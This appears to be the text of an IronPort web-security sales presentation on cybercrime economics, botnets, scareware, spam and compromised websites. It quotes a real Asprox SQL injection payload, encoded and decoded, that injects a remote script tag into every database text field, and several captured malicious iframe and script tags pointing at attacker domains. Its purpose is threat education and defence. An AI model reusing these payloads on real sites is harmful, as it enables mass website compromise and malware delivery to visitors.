



Present By: Nattaka K. IronPort Sales Manager (Thailand)

Objectives

- Illustrate successful criminals, their methods and profits
- Understand primary methods of criminal revenue generation via web abuse
- Explain fundamental weaknesses in HTTP, web browsers, DNS and web servers that make criminals so successful
- Show real-world examples of malware delivered via SQL injection to highly-trafficked legitimate European websites
- Describe client and gateway web security solutions

Agenda

- Web Fuels Criminal Profits
- Web 2.0 Abuse
- Understanding the Problem in Five Parts
 - 1. Social Engineering
 - 2. What's on that Web Page
 - 3. Web Browser Ecosystem Vulnerable
 - 4. Malware Defeats Anti-Virus Signatures
 - 5. Web Servers Vulnerable
- Solutions

Internet History

- The history of the internet started in the early 90's or even the 80's
- 1950's has the Korean War
- Soviet Union launching nuclear weapons against US soil / the launch of the Sputnik satellite in 1957
- DARPA (Defense Advanced Research Projects) Agency) / in the late 1950's

Internet History



The World Wide Web was actually created in 1989, however the World Wide Web was introduced publicly on August 6, 1991

Growth of Internet and Business

Security (CERT/US-CERT) Stats:

Date	Incidents	Advisories	Vulnerabilities	Tech Alerts
Date 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004	Incidents 6 132 252 406 773 1,334 2,340 2,412 2,573 2,134 3,734 9,859 21,756 52,658 82,094 137,529	Advisories 1 7 12 23 21 19 15 18 27 28 13 17 22 37 37	Vulnerabilities	Tech Alerts
2005 2006Q1-3	3		5,990 5,340	22 31

Web Fuels Criminal Profits



Criminal 1: The Amateur



Jeanson James Ancheta

\$60K from Adware on 400K PCs



Loudcash (now ZangoCash) \$0.40 per install

"Every day 7,500-10,000
ZangoCash affiliates distribute our software to users who are then connected with more than 6,000
MetricsDirect advertisers."

Criminal 2: The Professional



Sanford Wallace

Register Of Known Spam Operations




Smartbot.Net Malware

- Opened CD-ROM tray
- "If your cd-rom drive's openyou desperately need to rid your system of spyware popups immediately! Download Spy Wiper now!"
- Spy Wiper and Spy Deleter sold for \$30

\$4M FTC judgment

DriveCleaner Revenue \$10k per Day



Also Known as Virtumonde, DriveCleaner


Criminal Ecosystem

Malware Development and Distribution



Modern Botnets Re-born for Web Attacks

Storm's blended email/web attack created spam bots
 Repurposed for BBC, CNN spam with scareware spyware URL



You have agreed to receive this email from CNN.com as a result of your CNN.com preference settings. To manage your settings click here.

To alter your alert criteria or frequency or to unsubscribe from receiving custom email alerts, click here.


Asprox originally password stealing trojan
 Repurposed to find and SQL inject vulnerable web servers
 Malware is scareware spyware

Example #1: New Scareware Spyware


- Infects via social engineering Website tricks user into installing
- Infects via Storm BBC email to infected landing page Attempts web-based exploits and social engineering install
- Infects via SQL-injection compromise of legitimate web page

Visitors to legitimate web page exploited


Social Engineering Scareware Spyware




If Infected, Fake Scan Recommends "Removal"




After scan, takes me to website identifies geo-IP, hides the close button off the screen



Change the desktop



Removes Desktop and Screen Saver tabs from control panel



Antivirus Investigation by Joe Stewart

- Affiliate program run by Bakasoftware, advertised on GlavMed
- Bakasoftware.com entirely in Russian, will not infect Russian-speaking users
- Affiliate earned in 10 days through 154,825 AV XP 08 installations and 2,772 purchases (\$5M/year)

Loader	Сетапы	Покупки	Покупки
37943	19989	667	29853.86
39895	19722	74	5420.64
41687	18619	384	28148.96
38059	16038	249	13908.24
39160	15335	176	9726.17
29968	12076	207	11672.71
13293	6866	129	6920.81
18055	8915	157	7557.25
29642	14802	265	12852,29
50457	22463	464	21055.29
338159	154825	2772	147116.22
Loads	Installs	Purchases	Total

Source: http://www.secureworks.com/research/threats/rogue-antivirus-part-2/?threat=rogue-antivirus-part-2

Example #2: My Canadian Pharmacy/BulkerBiz



20

My Canadian Pharmacy Profits

- Estimated at \$100M/year
- Monitored "Zombie Proxy" and counted number of credit card transactions per hour
- Comparables—Christopher Smith (rizler) profits > \$20M
- Confirmed with law enforcement and SpamHaus

Example #3: Storm/Canadian Pharmacy/Glavmed

From: Sender Unspecified

Date: Thursday, January 17, 2008 5:14 AM

To: none

Subject: Dream to be a hero in her bed?

Hardship with your intimate relations?

http://uir.bestbloodso.com



Spam and Phishing Campaigns

- Storm has sent a number of spam campaigns including
 - Phishing financial institutions
 - Mule recruitment spam
 - Pump and Dump stock market manipulation image spam
 - Pump and Dump stock market manipulation MP3 audio spam
 - Pharma spam for Canadian Pharmacy
- The vast majority of Storm spam has been for Canadian Pharmacy





If you have any questions or concerns you can contact the college at 200-1765 West 8th Ave. Vancouver, BC, Canada V6J 5C6 You may contact us at +1(210) 888-9089, please, keep your order I.D. every time you make a call.

@ Copyright Canadian Pharmacy, 2003-2007, All Rights Reserved

Spam "Smoking Gun"

- There have been many theories about the relationship between storm and storm spam
- A capacity issue unveiled the primary relationship





What Happened?

- Spamit.com service manages spam domains and fulfillment Registers spamvertized domain, creates DNS records, NS servers, websites Botnet owners using Spamit service receive feed of live spam sites
- The Storm botnet retrieved a list of domains but received

"The system is temporary busy, try to access it later. No data can be lost."

- Storm used this string and other website boilerplate in the spam
- Proven link between Storm, SpamIt.com and Canadian Pharmacy

Spamit.com Demo Account



Date	Site	Customer email	Order description	Approved	Commission
2007-11-27 21:13	21:13 solvethe.com	@bluewin.ch	1 x Viagra 90 pills x 100 mg — \$176.4	Yes	\$93.6
			1 x Prozac 60 pills x 20 mg — \$57.6		
2007-11-27 16:19	16: 15 solvethe.com	@tiscali.it	1 x Cialis Soft Tabs 10 pills x 20 mg — \$65.97	Waiting	
			1 x Viagra Soft Tabs 30 pills x 50 mg — \$66.25		
2007-11-27	12:59 thereprod	hion@tele2.ch	1 x Cialis Soft Tabs 30 pills x 20 mg — \$131.97	Yes	\$52.79
Total			3	2/0/1	\$146.39

Spamit.com customer login page showing sales and commissions

Source: Joe Stewart, Secure Works

GlavMed Associated with Spamit.com



WELCOME TO GLAVMED



GlavMed is a BEST way to convert your pharmacy traffic into real money. Forget about miserable sums you're getting sending your visitors to PPC pharmacy.

You're loosing at least half of YOUR money converting traffic like this. GlavMed offers you a possibility to eliminate any agents and sell most popular pharmacy products directly. It means 30-40% revenue share.

FEATURES & BENEFITS



HIGHEST INDUSTRY COMMISSIONS





BIWEEKLY PAYMENTS AND PAYOUT-ON-DEMAND

More Glavmed data

"We take care of their entire shopping experience: fulfillment, customer service, and shipping, and we track the sales generated from your site."

name - имя товара

link - ссылка на страницу more details о това; только в том случае если придерживаетесь с структуры имен страниц)

price_per_item - минимальная цена одной та товарах.

description - описание товара.

bundle (new) – является ли товар составным.

Documentation Excerpt for Configuring Web Sites

TOP CONVERTING SITES



<u>TheCanadianMeds.com</u> Ratio 1:39




CanadianPharmacyLtd.com Ratio 1:43



Web 2.0 Abuse

2003 introduced sophisticated spamming tools such as Dark, Revolution and Reactor Mailer



Early example of botnet-tool specialization to maximize profits Web 2.0 is being monetized in the same way

Web 2.0 Abuse


- Commercial tools for account creation, posting, CAPTCHA, IP rotation
- Targets: Gmail, Yahoo!, Hotmail, MySpace, Craigslist, blog sites
- Enables abuse of many services including webmail account creation for spamming

Who Else Wants to Create Unlimited **Gmail Accounts in Seconds Flat** Without Breaking a Sweat?

Introducing Jiffy Gmail Creator!




Multi-site Account Creator – Yahoo!



"For Yahoo lovers, we suggest to frequently change their IP address"

Multi-site Account Creator – Gmail



"It is STRONGLY recommended to use proxies for creating multiple accounts to avoid getting BANNED by Gmail"

How to Evade CAPTCHAs?

Completely Automated Public Turing test to tell Computers and Humans Apart

- Wide deployment of CAPTCHAs has limited criminal success
- Required to create accounts, post on forums, etc
- Response: automated and manual **CAPTCHA-solving**



Criminal Anti-CAPTCHA tools

- Remote CAPTCHA client
- 1000 CAPTCHAs for \$1
- Wopla and Hotlan botnets



Welcome to our service!

We offer you a unique, open to general use of the service manal recognition CAPTCHA (Completely Automatic Public Turing Test to Tell Computers and Humans Apart) – pictures with code designed to protect owners of various web sites from automatic registration.

With us working tens of thousands of people from all over the world who are ready for a small fee for your povvodit on the proposed text with your pictures.

proposed text with your pictures.

AllBots.info

More than 100 products to abuse web 2.0 services


Social Networking Bots

*Note: All bots are undetectable and they all have built-in proxy support. They randomly change referrers, user-agents and other headers to remain undetectable. Thanks!

GOOD News!!! We have just integrated CAPTCHA Bypasser* in all of our winsock bots.


*CAPTCHA Bypasser - We have just teamed up with a third-party CAPTCHA service and integrated their service in all of our bots (optional). You need to buy credits from a 3rd Party website, imagetotext.com and just type your user/pass in our software (if you want the software to bypass the CAPTCHAs) and everything is automatic from there - Just like you type the CAPTCHAs manually, the software will bypass the CAPTCHAs. We have added this service in our bots because we know that CAPTCHAs' sucks :-) And on request of lots of our loyal customers, just like YOU :)

Understanding the Problem



Understanding the Problem in Five Parts

- 1. Social Engineering and User Behavior
- 2. What's on that Web Page
- 3. Web Browser Ecosystem Vulnerable
- 4. Malware Defeats Anti-Virus Signatures
- 5. Web Servers Vulnerable



Social Engineering



Storm "Worm" September 9: Football


From:	il713payne@alldata.net	Sent:	Sun 9/9/2007 11:45 PM	
To:	Sales Alias			
Cc:				
Subject:	Free NFL Game Tracker[IronPort	: SPAM]		
F 4 1	l :- b - al. : f			
	l is back, Life may resume a		510	
Know a	Il the games, what time, who	at channel and	the stats.	
Have al	I the details for every game v	vith our free da	me tracking system:	
	9.247.209.124			

Storm Trojan Emails - Classic Blended Threat

From:	willyyu8@clearfield.org	Sent:	Sun 9/9/2007 10:23 PM				
To:	Craig Sprosts						
Cc: Subject:	FOOTBALL! Are You ready?[Iron	DOOR SPAM1					
Dabjecti	TOOTBALL: ATC TOO TCOOK![ITO	IFOR SPAINI					
10.5 227.6	Are you ready for some football?						
Don't miss a thing because you didn't know, this season.							
Get all the info you need from our online game tracker:							
http://89.0.60.76/							

Where do these link to?

Spoofed NFL Site



Familiar Site?

				DIRECTV		SIRIUS		
Sunday, October 14	Time (EST)	Tickets	Network	Channel	HD Channel	Home	Away	Westwood One
MIN @ CHI	1:00 PM	Tickets	FOX	705	720	153	107	
MIA @ CLE	1:00 PM	Tickets	CBS	708		110	143	
WAS @ GB	1:00 PM	Tickets	FOX	706	721	140	114	
HOU @ JAC	1:00 PM	Tickets	CBS	709	725	147	121	
STL @ BAL	1:00 PM	Tickets	FOX	704	719	122	181	
CIN @ KC	1:00 PM	Tickets	CBS	710	722	125	123	
TEN @ TB	1:00 PM	Tickets	CBS	711	723	126		
PHI @ NYJ	1:00 PM	Tickets	FOX	707	724	130	119	
CAR @ ARI	4:05 PM	Tickets	FOX	712	724	121	147	
OAK @ SD	4:15 PM	Tickets	CBS	714	725	119	126	
NE @ DAL	4:15 PM	Tickets	CBS	713	726	123	122	
NO @ SEA	8:15 PM	Tickets	NBC		83	126	122	Radio
				DI	RECTV	SIF	RIUS	
Monday, October 15	Time (EST)	Tickets	Network	Channel	HD Channel	Home	Away	Westwood One
NYG @ ATL	8:30 PM	Tickets	ESPN	206	73	123	126	Radio


The Real NFL Site

Storm August 26: YouTube


From

Man you have got to tell me where you picked her up. I saw this on the web, it has to be you check it out yourself http://www.youtube.com/watch?v=IHzbpJLfppV

Where does this link to?




Blog Post to dcnf.blogspot.com



Threat Blog Post—More Recruiting

Malware Distribution Vectors Web Social Engineering


Anti-spyware engine "noadware" is a spyware agent



Anti-Spyware Due Diligence



#1 Website – My Canadian Pharmacy





CONTACT US

Main Office (headquarters)

Pharmacy Corp. 1592 Wilson Avenue, Toronto, ON M3L 1A6

Dr. Jack Poppins studied reanimatology at Ontario Medical State University in 1969. He worked as a reanimator in the private clinic, White Ribbon, in Ontario until 1990. He became one of the founders of the famous Jack Poppins clinic, specializing in brain surgery in 1991. In 1992, he completed his Ph.D. on Alzheimer's disease. He is one of the founders of CIPA (Canadian International Pharmacy Association). Over the years, Dr. Poppins has been an Associate Professor of Emergency Medicine at the University of British Columbia,



Director of Professional Programs for the Justice Institute of British Columbia [Parametic Academy], and has also been involved in many Phase 3 studies looking at the safety and therapeutic effects of a variety of medications and therapies. He is married and has two sons.

The Real My Canadian Pharmacy Office

1592 Wilson Avenue Toronto, ON M3L 1A6



Deception Twenty Ways

18 more fraudulent elements including

Fake certificate

"All orders are received via a secure server"—no HTTPS

Fake Verisign logo

Fake BBB logo

Fake pharmacy checker rating

Fake Canadian International Pharmacy (CIPA) license number

Fake "Verified by Visa" logo





















Web pages include many objects

- Web pages usually consist of MANY objects
- HTML on page indicates objects to be fetched from any server
- Each of these objects is retrieved with separate HTTP transaction



Redirection

Browse spamvertized domain

kxbkhs.lztalsole.com

What website do you see?

r2.rx-shop.biz

"Pharma Shop"

Web site redirection

Other Issues

- URL and URL obfuscation
- DNS and hosts file

```
http://kxbkhs.lztalsole.com/
GET / HTTP/1.1
Host: kxbkhs.lztalsole.com
>> HTTP/1.x 302 Moved Temporarily
>> Location: http://r2.rx-shop.biz
```

http://r2.rx-shop.biz/images/bot_01.gif GET /images/bot_01.gif HTTP/1.1

Host: r2.rx-shop.biz >> HTTP/1 x 200 OK

MyCanadianPharmacy Example

Registered domain **bigamousetract.info**

Registered with 1-877namebid.com

Registered by Tobyann Ellis in Longview, WA

+68 phone number, dublin.com email

DNS servers

'NS' Records point to DNS servers in **Taiwan, Spain, US, Brazil**

'A' Record for web server points to Korean Telecom IP

Web server

bigamousetract.info server on Korean Telecom network


Web site images from Brazil, Slovenia, France, Greece, Netherlands

Spammers obfuscate web site connection using redirectors, framing, scripting, zombie proxies

Using "Fast Flux"

Location of web and DNS servers changing every five minutes

3. Web Browser Ecosystem Vulnerable



Web Browser Ecosystem Vulnerable

SANS Top 20 2007 Security Risks http://www.sans.org/top20/#c1

- IE and Firefox vulnerable
 - "...hundreds of vulnerabilities in ActiveX controls installed by software vendors have been discovered."
- Media Players & Browser Helper Objects (BHO)

RealPlayer, iTunes, Flash, Quicktime, Windows Media


Explosion of BHOs and third-party plug-ins

Plug-ins are installed (semi) transparently by website. Users unaware an at-risk helper object or plug-in is installed ... introducing more avenues for hackers to exploit users visiting malicious web sites.

Mpack: 29.86% Infection Rate in Spain


Loads Country Traff Efficiency ES - Spain 13218 3947 29.86





Malware Is on the Rise

UNIQUE SAMPLES OF MALICIOUS PROGRAMS



of unique Malware samples in 2006: 972K # of unique Malware samples in 2007: 5.5M




500% increase in 12 Months

Virus Sophistication Beats AV

- 182 virus tools at VX Heavens website vx.netlux.org Example: NGVCK (Next Generation Virus Creation Kit)
- Poly/Metamorphic tools create random variants
- Viruses download fresh copy every 24 hours
- Viruses use buddy program to reinstall virus if disinfected

VX Heavens Home Virus Creation Tools (182) Page: [0][1][2][3][4][5][6][7][8][9] "INVICTUS" VX Library \$MOOTHiE::s Macro Virus Creator 2000 Access Macro Generator Acid Flowing Trojan Generator Advanced Batch Mutator Advanced Steam Trojan Generator




30% Mpack Trojan detection

Antivirus	Version	Last Update	Result
AhnLab-V3	2007.7.21.0	2007.07.23	no virus found
AntiVir	7.4.0.44	2007.07.23	TR/Agent.132312
Authentium	1.93.8	2007.07.20	no virus found
Avast.	4.7.997.0	2007.07.22	no virus found
AVG	7.5.0.476	2007.07.22	Obfustat.ANY
BitDefender	7.2	2007.07.23	no virus found
CAT-QuickHeal	9.00	2007.07.23	(Suspicious) - DNAScan
ClamAV	devel-20070416	2007.07.23	no virus found
DrWeb	4.33	2007.07.23	no virus found
eSafe	7.0.15.0	2007.07.22	Suspicious Trojan/Worm
eTrust-Vet	31.1.5002	2007.07.23	no virus found
Ewido	4.0	2007.07.23	no virus found
FileAdvisor	1	2007.07.23	no virus found
Fortinet	2.91.0.0	2007.07.23	no virus found
F-Prot	4.3.2.40	2007.07.20	no virus found
F-Secure	6.70.13030.0	2007.07.23	no virus found
Tkarus	T3.1.1.8	2007.07.23	Trojan-Downloader.Win32
Kaspersky	4.0.2.24	2007.07.23	no virus found
McAfee	5079	2007.07.20	no virus found
Microsoft	1.2704	2007.07.23	no virus found
NOD32v2	2414	2007.07.23	no virus found
Norman	5.80.02	2007.07.23	no virus found
Panda	9.0.0.4	2007.07.23	Suspicious file
Sophos	4.19.0	2007.07.17	Mal/EncPk-T
Sunbelt	2.2.907.0	2007.07.21	VIPRE.Suspicious
Symantec	10	2007.07.23	no virus found
IneHacker	6.1.7.152	2007.07.23	no virus found
VBA32	3.12.2.1	2007.07.23	no virus found
VirusBuster	4.3.26:9	2007.07.22	no virus found
Webwasher-Gateway	6.0.1	2007.07.23	Trojan.Agent.132312

Source: VirusTotal scan of Mpack malware

Cisco Security Agent

Always Vigilant Comprehensive Endpoint Security





SINGLE INTEGRATED AGENT AND MANAGEMENT

Intrusion Prevention "Zero Update" Track Record

 CSA has a proven track record of stopping brand new exploits, botnets, targeted attacks, worms, and viruses over past 7 years:

```
2001 – Code Red, Nimda (all 5 exploits), Pentagone (Gonner)
```

2002 - Sircam, Debploit, SQL Snake, Bugbear,

2003 – SQL Slammer, So Big, Blaster/Welchia, Fizzer

2004 – MyDoom, Bagle, Sasser, JPEG browser exploit (MS04-028), RPC-DCOM exploit (MS03-039), Buffer Overflow in Workstation service (MS03-049)

2005 – Internet Explorer Command Execution Vulnerability, Zotob

2006 – USB Hacksaw, IE VML exploit, WMF, IE Textrange, RDS Dataspace

2007 – Rinbot, Storm Trojan, Big Yellow, Word(MS07-014), MS ANI 0Day, MS DNS 0Day

No signatures, or configuration updates required

What do Cisco Customers say

About Always Vigilant Endpoint Protection?





"Cisco Security Agent allows us to not have to rush to do testing of a new patch and not to worry about a new virus. We don't expect to stop doing patching and updating—it's just the piece of mind of knowing that we are protected while we're doing patching."



COLUMBUS STATE UNIVERSITY

"When our networks were brought down, we spent a lot of hours trying to get them back up. So far, we've had zero problems on servers that are protected by **Cisco Security Agents—no** penetrations or compromises. Cisco Security Agent has provided 100 percent protection. I would definitely recommend it to anyone-and I do."

Kathy Taylor, Information Security Officer, Siemens Energy & Automation

Mack Ragan Senior System Support Specialist, Columbia State University




"In May, we saw a day-zero virus that was morphing twice a day. We were right on the forefront of the attack. We could see these things hitting, but they weren't bringing us down, because Cisco Security Agent was stopping them."

"We can't shorten the testing process for new patches, but if I didn't have **Cisco Security Agent on all** our PCs, I'd be sweating **bullets during that** process."

Thomas Moser, Manager of Information Technology Services, Westinghouse Electric Company

5. Web Servers Vulnerable



Attack Vector: Vulnerable Web Servers

SANS Top 20 2007 Security Risks http://www.sans.org/top20/#c1

"Web application vulnerabilities in open-source as well as custom-built applications account for almost half the total number of vulnerabilities being discovered in the past year. These vulnerabilities are being exploited widely to convert trusted web sites into malicious servers serving client-side exploits and phishing scams."

Real-World SQL Injection

HTTP Post made to thousands of web servers

2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST

3006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C00 $62002 \\ E006 \\$ 06F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E00640020 $007200200062002 \\ E00780074007900700065003 \\ D00310036003700290020004 \\ F00500045004 \\ E0020005400610062006 \\ C0065005 \\ F004300750072 \\ C0065005 \\ F004300750072 \\ C0065005 \\ F004300750072 \\ C0065005 \\ F004300750072 \\ F004300750072 \\ F00450072 \\ F00450072$ 005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E00 63006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E002700270029004600450054004300480020004E0 04500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F0020004000450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));

EXEC(@S);-178|80040e14|Unclosed_quotation_mark_before_the_character_string_'G;DECLARE_@S_NVARCHAR(4000);

 $SET_@S=CAST(0\times4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C00400043002000'. -202.101.162.73~HTTP/1.0~Mozilla/3.0+(compatible; +Indy+Library) -500~15248$

SQL Injection Decoded

Decoding 'CAST' values

DECLARE @T varchar(255),@C varchar(255) DECLARE Table Cursor CURSOR FOR select a.name,b.name

from sysobjects a, syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table Cursor FETCH NEXT FROM Table Cursor INTO @T,@C

WHILE(@@FETCH STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+"<script src=http://c.uc8010.com/0.js></script>"')FETCH NEXT FROM

Table Cursor INTO @T,@C END CLOSE Table Cursor DEALLOCATE Table Cursor DECLARE @T varchar(255),@C


A successful attack inserts

<script src=http://?.uc8010.com/0.js></script> into varchar and text fields in SQL database


Attack on BusinessWeek.com

Asprox Botnet in Action

- Asprox botnet is refined, smart and sophisticated
- SQL Injection inserted malicious IFrames
- Hundreds of pages on the Business Week site were affected



Minnesotahomefinance.com web site



Loading aarmrgdxrv.com

What's really happening

- Minnesotahomefinance.com registered at Godaddy june, 2005
- 209.51.132.218, Global Net Access in NY, with 312 domains

```
Firebug - Credit: minnesotahomefinance.com

File View Help

Inspect Edit | a < div.headerleft < div#header < body < html

Console HTML CSS Script DOM Net

Calv Id="navbar">

Ciframe width="1" height="1" src="http://aarmrgdxrv.com/dl/adv448.php">

Console HTML CSS Script DOM Net

Console HTML CSS
```

- •Browser fetches IFRAME & loads PHP from aarmrgdxrv.com
- •85.255.121.195, Ukrtelegroup Ltd in Ukraine, with 15 domains
- •Ukrtelegroup is part of RBN (Russian Business Network)
 Other domains match the pattern; e.g. adtctqypoa.com...
- •aarmrgdxrv.com registered at BIZCN.COM, INC. Spamvertized domain ranking: #18 by volume, #11 by % bad

lespecialisteenliterie.fr has 77.221.13.188 iFrame



- *<script>
- <script>
 - window.status='Done';document.write('<iframe name=b8735a2d74 src=\'http://77.221.133.188/</pre> </script>
- iframe width="234" height="471" style="display: none;" src="http://77.221.133.188/.if/go.html?1
 - + <html>
 - </iframe>

www.ifg.aesconweb.de/forum/index.php



PAQ Q Search ■ Memberlist ■ Usergroups PRegister Profile O Log in to check your private messages O Log in


The time now is Fri Jun 13, 2008 2:55 am Forum Index

View unanswered posts

	Forum	Topics	Posts	Last Post
Brustkrebs				
<u>(a)</u>	General Topics General Topics Moderator Moderators	19223	31876	Sun May 11, 2008 6:25 pm supervideogirl →D
Endometriose				
<u>(a)</u>	General Topics Moderator Moderators	1093	1093	Sun Jun 08, 2008 12:10 am intalowalkin →D

- Site invokes xprmn4u.info javascript
- Xprmn4u.info invokes vipasotka.com which invokes golnanosat.com

Hacked!




Exploited German Website



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What's really happening

- bad-waldsee.de registered at DENIC before 2003
- Hosted at 80.237.213.92 on Hosteurope in Cologne



- Browser gets IFRAME, runs m.js javascript at qiqi111.cn
- qiqi111.cn is Chinese website hosted in China
- Registered at 北京万网志成科技有限公司 in 2008

Exploited Norwegian Website



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What's happening on SportsKupp.no?

SportsKupp.no registered 2007, hosted in Oslo on 81.175.28.22, Hafslund Telecom

```
🥟 Firebug - Sekker/Bagger<script src=http://www.sslwer.ru/ngg.js></script><script src=http://www.sslwer.ru/ngg.js></script> - SportsKup
Console HTML CSS Script DOM
   <head>
     <title>Sekker/Bagger<script
     src=http://www.sslwer.ru/ngg.js></script
```

- Browser runs IFRAME object ngg.js from sslwer.ru
- sslwer.ru DNS Name Servers hosted more malware on dynamic IPs at Cablevision, Time Warner, Rogers

E.g. 191-15.127-70.tampabay.res.rr.com

 Registered at NAUNET-REG-RIPN by "Private Person". 80% of registrars fresh domains listed in URIBL spam list.

http://www.stavangersk.no/




Legitimate site

http://www.stavangersk.no/?go=7625

A directory on the bicycle club site



The page is an IFrame cgi on 213.155.5.72 in Ukraine which loads php from tablets-city.com



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ACE Web Application Firewall (WAF)



The WAF is a drop-in solution that protects web-enabled applications from attacks

PCI Compliance, Virtual App Patching, Data Loss Prevention

- Secure Deep packet protection of the most common vulnerabilities
- Fast Processes 3.000+ TPS and 10.000+ concurrent connections
- **Drop-in** Does not require recoding applications, deployable in under an hour
- PCI 6.5/6.6 compliance is just a few clicks away

Fighting the Last War



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But I've Got Firewalls, IPS, Anti-Virus and URL Filtering?!

- Firewalls don't stop port 25 or user requests for protocolcompliant HTTP(S)
- IPS does not stop social engineering
- New vulnerabilities continually
- Anti-virus is shockingly ineffective due to mutating viruses 390 LdPinch security signatures since original in 2003 More than 30,000 Bagel variants
- URL filtering can't categorize an infinite number of sources
- URL filtering can't protect from legitimate sites being hacked
- End-users roam
- End-users choose to install, override security
- Once infected, malware hides

Network Is "Locked"— Email and Web Are Open

Port 25

Port 80 Port 443

Content Security










Network Security

The IronPort Story

Application-Specific Security Gateways



Next Generation Secure Web Gateway

Before IronPort Firewall Web Proxy & Caching **Anti-Spyware Anti-Virus Anti-Phishing URL Filtering Policy Management**

After IronPort



All web security components in a single integrated platform

Users

IronPort S-Series

- L4 traffic monitor to detect infected PCs
- URL filtering to block known bad sites
- Web reputation for the "long tail"
- Anti-malware system to detect content




IronPort Web Security Appliance



Next Generation Web Security Platform

Layer 4 (L4) Traffic Monitor

Integrated Network Monitoring



Detecting Existing Client Infections

Monitoring "Phone Home" Traffic

Layer 4 Traffic Monitor


Scans all traffic, all ports, all protocols

Detects malware bypassing Port 80

Powerful anti-malware data


Automatically updated anti-malware rules

Real-time rule generation using "Dynamic Discovery"



IronPort Web Reputation Filters™


The Outer Layer of Defense



IronPort's SenderBase

Faster, More Accurate Detection and Protection

Combines Email and Web Traffic Analysis



View into **both** email and web traffic dramatically improves detection

83% of spam and 80% of overall email contains URLs Email is a key distribution vector for web-based malware

Prese 94

IronPort Web Reputation Filters

Data Makes the Difference

Parameters

- URL Blacklists
- URL Whitelists
- URL Categorization Data
 - HTML Content Data
 - URL Behavior
 - Global Volume Data
- Domain Registrar Information
 - Dynamic IP Addresses
 - Compromised Host Lists
 - Web Crawler Data
 - Network Owners
 - Known Threats URLs
 - Offline data (F500, G2000...)
 - Website History

THREAT PREVENTION IN REAL-TIME




SenderBase Data Data Analysis/
Security Modeling

Web Reputation Scores (WBRS) -10 to +10

Addresses Known and Unknown Sites

Proxy Anonymizers

Masking Browsing Patterns



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HTTPS Use Cases


SSL Trojans and Malware



Secure
Anonymizing


Proxies

Secure
Webmail
Attachments



HTTPS


A Blind Spot for Enterprises



HTTPS Scanning

Selective, Based on Trust


Decrypted • Inspected • Re-encrypted Selectively on TRUST, Category, Source



Decrypted • Inspected • Re-encrypted Selectively on Category, Source

IronPort Anti-Malware System

IronPort Dynamic Vectoring and Streaming (DVS) Engine™



IronPort DVS Engine

Multi-Layered Malware Defense

- Deep content inspection
- High-performance scanning

Parallel scans


Stream scanning

Multiple verdict engines

Integrated, on-box


Supported engines: Webroot, McAfee

Automated Updates



Industry-Leading Performance

Stream Scanning



- Accurately identifies "safe" objects for stream scanning
- Processes objects in parallel to minimize latency

High-performance Web Proxy

Connection Management and Optimized Storage



Maintain pool of persistent TCP connections (client and server side)



Handle extremely high traffic volumes

Save CPU and memory cycles by leveraging system event notifications



Significantly improved resource utilization

Co-related object storage and high-performance caching



Significantly improved response times

Industry-Leading Technology

Optimized for Throughput and Performance



IronPort Web Security Appliance

Simultaneous TCP Connections	100,000 duplex	Easily handles significant traffic spikes
HTTP Transactions Per Hour	10M unburdened, 5-7M burdened	Serves up to 10-25K users (traffic profile dependent)
Average Latency	5-15 milliseconds	Preserves end-user browsing experience

IronPort S-Series

Fortune 500 Insurance Company Case Study



F500 insurance company's challenge:

\$11 billion auto insurance provider, with over 25,000 users

~8 servers for Microsoft ISA and Secure Computing

Malware infections causing desktop re-imaging

Inability to create corporate-specific policies

IronPort's solution:

Spyware and Malware filtering at the gateway with multi-scanning

Integrated URL Filtering and Web Proxy


Servers consolidated by 75%

"Deploying IronPort
S-Series appliances
is one of the best
things we've ever
done here. Stopping
malware at the edge
has significantly
reduced compliance
and security
exposure for us."

— James Owens Security Engineer

USERS PROTECTED

25,000+




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Conclusion

- The web vector has become the #1 weakness targeted by criminals for profit
- The web browser ecosystem is vulnerable
- Web 2.0 exacerbates these problems More active content from disparate, uncontrolled sources
- Anti-virus is not an adequate solution
- Web servers are attacked and use to spread malware via legitimate sites
- A different approach is required

What to Do?


- Accept firewall, IPS, anti-virus, URL filtering alone are inadequate
- Measure infection level (network layer) Initial infection level and ongoing as security improved Identify root causes
- Accept we are at the beginning of the web security war Technologies are rapidly adapting Need a platform solution that can adapt to criminal behavior
- Deploy integrated network and application layer solution Web reputation, URL filtering, anti-malware signatures
- Assess client solution



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Recommended Reading

 There are currently no Cisco Press Books recommended for this Presentation - please browse the Cisco Company Store for suitable titles



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